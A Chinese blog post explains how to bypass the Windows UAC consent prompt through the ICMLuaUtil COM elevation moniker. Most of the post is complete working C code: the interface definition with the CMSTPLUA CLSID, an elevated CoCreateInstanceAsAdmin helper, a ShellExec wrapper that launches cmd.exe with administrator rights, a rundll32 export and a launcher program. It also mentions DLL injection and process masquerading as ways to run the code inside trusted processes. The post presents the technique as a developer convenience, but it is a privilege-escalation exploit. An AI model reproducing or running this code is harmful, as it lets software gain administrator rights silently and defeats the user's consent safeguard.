当前位置: 首页 > article >正文

Win32绕过UAC弹窗获取管理员权限

在早些年写一些桌面软件时,需要管理员权限,但是又不想UAC弹窗,所以一般是直接将UAC的级别拉到最低,或者直接禁用UAC的相关功能。

什么是UAC(User Account Control)

用户帐户控制 (UAC) 是一项 Windows 安全功能,旨在保护操作系统免受未经授权的更改。 当对系统的更改需要管理员级权限时,UAC 会通知用户,从而让用户有机会批准或拒绝更改。 UAC 通过限制恶意代码拥有的以管理员权限执行的访问权限来提高 Windows 设备的安全性。 UAC 使用户能够就可能影响设备稳定性和安全性的操作做出明智的决策。

除非禁用 UAC,否则会阻止恶意软件禁用或干扰 UAC 设置。 UAC 默认处于启用状态,如果具有管理员权限,则可以对其进行配置。

关于UAC这里仅做简单介绍,可以在文末的参考资料里获取关于UAC的更详细的介绍。

绕过UAC弹窗目前流行的有几种方案,这里只介绍基于COM组件的

利用COM组件绕过UAC

原理

COM Elevation Moniker技术允许运行在用户账户控制下的应用提升权限的方法来激活COM类,以提升COM接口权限。

主要用到了ICMLuaUtil接口,它提供了一个ShellExec方法来执行命令,创建指定进程。

ICMLuaUtil接口定义如下:

  1 #include <Windows.h>
  2 #include <objbase.h>
  3 #include <strsafe.h>
  4 
  5 
  6 #define CLSID_CMSTPLUA                     L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
  7 #define IID_ICMLuaUtil                     L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"
  8 
  9 
 10 typedef interface ICMLuaUtil ICMLuaUtil;
 11 
 12 typedef struct ICMLuaUtilVtbl {
 13 
 14     BEGIN_INTERFACE
 15 
 16         HRESULT(STDMETHODCALLTYPE *QueryInterface)(
 17         __RPC__in ICMLuaUtil * This,
 18         __RPC__in REFIID riid,
 19         _COM_Outptr_  void **ppvObject);
 20 
 21         ULONG(STDMETHODCALLTYPE *AddRef)(
 22             __RPC__in ICMLuaUtil * This);
 23 
 24         ULONG(STDMETHODCALLTYPE *Release)(
 25             __RPC__in ICMLuaUtil * This);
 26 
 27         HRESULT(STDMETHODCALLTYPE *Method1)(
 28             __RPC__in ICMLuaUtil * This);
 29 
 30         HRESULT(STDMETHODCALLTYPE *Method2)(
 31             __RPC__in ICMLuaUtil * This);
 32 
 33         HRESULT(STDMETHODCALLTYPE *Method3)(
 34             __RPC__in ICMLuaUtil * This);
 35 
 36         HRESULT(STDMETHODCALLTYPE *Method4)(
 37             __RPC__in ICMLuaUtil * This);
 38 
 39         HRESULT(STDMETHODCALLTYPE *Method5)(
 40             __RPC__in ICMLuaUtil * This);
 41 
 42         HRESULT(STDMETHODCALLTYPE *Method6)(
 43             __RPC__in ICMLuaUtil * This);
 44 
 45         HRESULT(STDMETHODCALLTYPE *ShellExec)(
 46             __RPC__in ICMLuaUtil * This,
 47             _In_     LPCWSTR lpFile,
 48             _In_opt_  LPCTSTR lpParameters,
 49             _In_opt_  LPCTSTR lpDirectory,
 50             _In_      ULONG fMask,
 51             _In_      ULONG nShow
 52             );
 53 
 54         HRESULT(STDMETHODCALLTYPE *SetRegistryStringValue)(
 55             __RPC__in ICMLuaUtil * This,
 56             _In_      HKEY hKey,
 57             _In_opt_  LPCTSTR lpSubKey,
 58             _In_opt_  LPCTSTR lpValueName,
 59             _In_      LPCTSTR lpValueString
 60             );
 61 
 62         HRESULT(STDMETHODCALLTYPE *Method9)(
 63             __RPC__in ICMLuaUtil * This);
 64 
 65         HRESULT(STDMETHODCALLTYPE *Method10)(
 66             __RPC__in ICMLuaUtil * This);
 67 
 68         HRESULT(STDMETHODCALLTYPE *Method11)(
 69             __RPC__in ICMLuaUtil * This);
 70 
 71         HRESULT(STDMETHODCALLTYPE *Method12)(
 72             __RPC__in ICMLuaUtil * This);
 73 
 74         HRESULT(STDMETHODCALLTYPE *Method13)(
 75             __RPC__in ICMLuaUtil * This);
 76 
 77         HRESULT(STDMETHODCALLTYPE *Method14)(
 78             __RPC__in ICMLuaUtil * This);
 79 
 80         HRESULT(STDMETHODCALLTYPE *Method15)(
 81             __RPC__in ICMLuaUtil * This);
 82 
 83         HRESULT(STDMETHODCALLTYPE *Method16)(
 84             __RPC__in ICMLuaUtil * This);
 85 
 86         HRESULT(STDMETHODCALLTYPE *Method17)(
 87             __RPC__in ICMLuaUtil * This);
 88 
 89         HRESULT(STDMETHODCALLTYPE *Method18)(
 90             __RPC__in ICMLuaUtil * This);
 91 
 92         HRESULT(STDMETHODCALLTYPE *Method19)(
 93             __RPC__in ICMLuaUtil * This);
 94 
 95         HRESULT(STDMETHODCALLTYPE *Method20)(
 96             __RPC__in ICMLuaUtil * This);
 97 
 98     END_INTERFACE
 99 
100 } *PICMLuaUtilVtbl;
101 
102 interface ICMLuaUtil
103 {
104     CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl;
105 };

使用权限提升COM类的程序必须通过调用CoCreateInstanceAsAdmin函数来创建COM类。

CoCreateInstanceAsAdmin参考代码如下:

 1 HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
 2 {
 3     BIND_OPTS3 bo;
 4     WCHAR wszCLSID[MAX_PATH] = { 0 };
 5     WCHAR wszMonikerName[MAX_PATH] = { 0 };
 6     HRESULT hr = 0;
 7 
 8     // 初始化COM环境
 9     ::CoInitialize(NULL);
10 
11     // 构造字符串
12     ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
13     hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
14     if (FAILED(hr))
15     {
16         return hr;
17     }
18 
19     // 设置BIND_OPTS3
20     ::RtlZeroMemory(&bo, sizeof(bo));
21     bo.cbStruct = sizeof(bo);
22     bo.hwnd = hWnd;
23     bo.dwClassContext = CLSCTX_LOCAL_SERVER;
24 
25     // 创建名称对象并获取COM对象
26     hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
27     return hr;
28 }

CoCreateInstanceAsAdmin函数的作用是创建并激活提升权限的COM类。

ICMLuaUtil接口通过上述方法创建后,再调用ShellExec方法来创建指定进程,可以绕过UAC。

调用ShellExec的方法如下:

 1 BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
 2 {
 3     HRESULT hr = 0;
 4     CLSID clsidICMLuaUtil = { 0 };
 5     IID iidICMLuaUtil = { 0 };
 6     ICMLuaUtil *CMLuaUtil = NULL;
 7     BOOL bRet = FALSE;
 8 
 9     
10     ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
11     ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
12 
13     // 提权
14     hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
15     if (FAILED(hr))
16     {
17         return FALSE;
18     }
19 
20     // 启动程序
21     hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
22     if (FAILED(hr))
23     {
24         return FALSE;
25     }
26 
27     bRet = TRUE;
28     
29 
30     // 释放
31     if (CMLuaUtil) 
32     {
33         CMLuaUtil->lpVtbl->Release(CMLuaUtil);
34     }
35 
36     return bRet;
37 }

到这一步我们就可以以提升过的权限执行对应 的程序 ,如果执行COM Elevation Moniker的程序身份是不可信的(未签名/签名不受信息/已过期等),则会触发UAC弹窗,如果是可信的,就不会触发UAC弹窗。

想要绕过UAC弹窗,就得想办法让上述代码在可信程序中运行。

可信程序包括但不限于calc.exe、notepad.exe、explorer.exe、rundll32.exe等。

可以通过以下几种方式让上述代码在可信任程序中运行:

1、DLL注入或劫持

2、进程伪装

3、通过rundll32.exe来加载DLL,执行COM Elevation Moniker代码

DLL注入可以查看我前面写的一篇文章:

https://www.cnblogs.com/zhaotianff/p/18070259

进程伪装可以查看文末的参考资料中的链接。

本文以rundll32.exe进行演示。利用rundll32.exe调用DLL中的导出函数,其中导出函数的声明如下:

1 void CALLBACK Func(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

我们可以创建一个DLL工程,创建一个导出函数,在导出函数中调用前面的代码,示例如下:

1 // 导出函数给rundll32.exe调用执行
2 void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)
3 {
4     CMLuaUtilBypassUAC(L"C:\\Windows\\System32\\cmd.exe");
5 }

然后再通过cmd去执行rundll32.exe,或通过编程的方式

cmd

1 rundll32.exe "BypassUAC_Dll.dll" BypassUAC

cpp

 1 #include <iostream>
 2 #include<Windows.h>
 3 #include<tchar.h>
 4 
 5 void main()
 6 {
 7     TCHAR szCmdLine[MAX_PATH] = { 0 };
 8     TCHAR szRundll32Path[MAX_PATH] = L"C:\\Windows\\System32\\rundll32.exe";
 9     TCHAR szDllPath[MAX_PATH] = L"C:\\Users\\xi\\Desktop\\src\\BypassUACDemo\\Debug\\BypassUAC_DLL.dll";
10     wsprintf(szCmdLine, L"%s \"%s\" %s", szRundll32Path, szDllPath, L"BypassUAC");
11     STARTUPINFO si{};
12     si.cb = sizeof(STARTUPINFO);
13     PROCESS_INFORMATION pi{};
14     CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
15 }

运行效果:

示例代码

参考资料:

用户帐户控制工作原理

https://learn.microsoft.com/zh-cn/windows/security/application-security/application-control/user-account-control/how-it-works

Bypass UAC(用户账户控制)的几种方法探究及案例

https://www.freebuf.com/articles/network/332619.html

UACME

https://github.com/hfiref0x/UACME

BypassUAC

https://github.com/0xlane/BypassUAC


http://www.kler.cn/a/290079.html

相关文章:

  • 并发基础:(淘宝笔试题)三个线程分别打印 A,B,C,要求这三个线程一起运行,打印 n 次,输出形如“ABCABCABC....”的字符串【举一反三】
  • idea 解决缓存损坏问题
  • 网络安全-蓝队基础
  • MyBatisPlus 用法详解
  • vue2或vue3的name属性有什么作用?
  • RS®SZM 倍频器
  • 网络安全 加密编码进制
  • 网络安全硬件
  • 区块链Hyperledger Fabric2.2 环境搭建
  • IPSec 参数
  • LeetCode 热题100-64 搜索二维矩阵
  • Spark的Web界面
  • 20240831-PostgreSQL小课持续更新
  • Unity(2022.3.41LTS) - UI详细介绍-Dropdown(下拉列表)
  • 《机器学习》周志华-CH4(决策树)
  • (六)进入MySQL 【MySQL高阶语句】
  • Oracle 和 PostgreSQL 主从对比介绍
  • 基于SpringBoot的校园闲置物品交易管理系统
  • 【linux】Cannot find a valid baseurl for repo: base/7/x86_64、linux常见的命令
  • docker实战基础四(如何在容器中调试和排查运行问题)
  • RFID光触发标签与端口自检功能新型光交箱哑资源管理方案
  • 基于深度学习的植物虫害检测
  • UDP报文结构
  • 【机器学习】集成学习的基本概念、Bagging和Boosting的区别以及集成学习方法在python中的运用(含python代码)
  • Python集成学习和随机森林算法使用详解
  • HarmonyOS开发实战( Beta5版)Stack组件实现滚动吸顶效果实现案例